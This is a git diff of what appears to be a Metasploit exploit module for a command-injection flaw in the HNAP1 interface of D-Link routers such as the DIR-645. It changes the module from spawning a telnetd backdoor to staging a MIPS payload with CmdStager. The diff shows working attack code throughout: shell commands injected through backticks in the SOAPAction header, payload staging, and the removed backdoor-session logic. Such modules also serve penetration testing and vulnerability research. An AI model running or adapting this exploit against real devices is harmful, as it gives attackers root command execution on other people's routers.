@@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = NormalRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
- include Msf ::Auxiliary :: CommandShell
12
+ include Msf ::Exploit :: CmdStager
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
@@ -25,7 +25,7 @@ def initialize(info = {})
25
25
'Author' =>
26
26
[
27
27
'Samuel Huntley' , # first public documentation of this Vulnerability on DIR-645
28
- 'Craig Heffner' , # independent Vulnerability discovery on different other routers
28
+ 'Craig Heffner' , # independent Vulnerability discovery on different other routers
29
29
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
30
30
] ,
31
31
'License' => MSF_LICENSE ,
@@ -37,13 +37,25 @@ def initialize(info = {})
37
37
'DisclosureDate' => 'Feb 13 2015' ,
38
38
'Privileged' => true ,
39
39
'Platform' => 'unix' ,
40
- 'Arch' => ARCH_CMD ,
41
- 'Targets' =>
40
+ 'Targets' =>
42
41
[
43
- [ 'Automatic' , { } ]
42
+ [ 'MIPS Little Endian' ,
43
+ {
44
+ 'Platform' => 'linux' ,
45
+ 'Arch' => ARCH_MIPSLE
46
+ }
47
+ ] ,
48
+ [ 'MIPS Big Endian' , # unknown if there are BE devices out there ... but in case we have a target
49
+ {
50
+ 'Platform' => 'linux' ,
51
+ 'Arch' => ARCH_MIPS
52
+ }
53
+ ] ,
44
54
] ,
45
- 'DefaultTarget' => 0
55
+ 'DefaultTarget' => 0
46
56
) )
57
+
58
+ deregister_options ( 'CMDSTAGER::DECODER' , 'CMDSTAGER::FLAVOR' )
47
59
end
48
60
49
61
def check
@@ -77,47 +89,20 @@ def exploit
77
89
78
90
print_status ( "#{ peer } - Exploiting..." )
79
91
80
- telnetport = rand ( 32767 ) + 32768
81
-
82
- cmd = "telnetd -p #{ telnetport } "
83
-
84
- execute_command ( cmd )
85
-
86
- handle_telnet ( telnetport )
87
- end
88
-
89
- def handle_telnet ( telnetport )
92
+ execute_cmdstager (
93
+ :flavor => :echo ,
94
+ :linemax => 200 ,
95
+ :temp => false
96
+ )
90
97
91
- begin
92
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
93
-
94
- if sock
95
- print_good ( "#{ peer } - Backdoor service spawned" )
96
- add_socket ( sock )
97
- else
98
- fail_with ( Failure ::Unreachable , "#{ peer } - Backdoor service not spawned" )
99
- end
100
-
101
- print_status "Starting a Telnet session #{ rhost } :#{ telnetport } "
102
- merge_me = {
103
- 'USERPASS_FILE' => nil ,
104
- 'USER_FILE' => nil ,
105
- 'PASS_FILE' => nil ,
106
- 'USERNAME' => nil ,
107
- 'PASSWORD' => nil
108
- }
109
- start_session ( self , "TELNET (#{ rhost } :#{ telnetport } )" , merge_me , false , sock )
110
- rescue
111
- fail_with ( Failure ::Unreachable , "#{ peer } - Backdoor service not handled" )
112
- end
113
- return
114
98
end
115
99
116
- def execute_command ( cmd )
100
+ def execute_command ( cmd , opts )
117
101
118
102
uri = '/HNAP1/'
119
103
120
- soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{ cmd } `"
104
+ cmd_new = "cd && cd tmp && export PATH=$PATH:. && " << cmd
105
+ soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{ cmd_new } `"
121
106
122
107
begin
123
108
res = send_request_cgi ( {
0 commit comments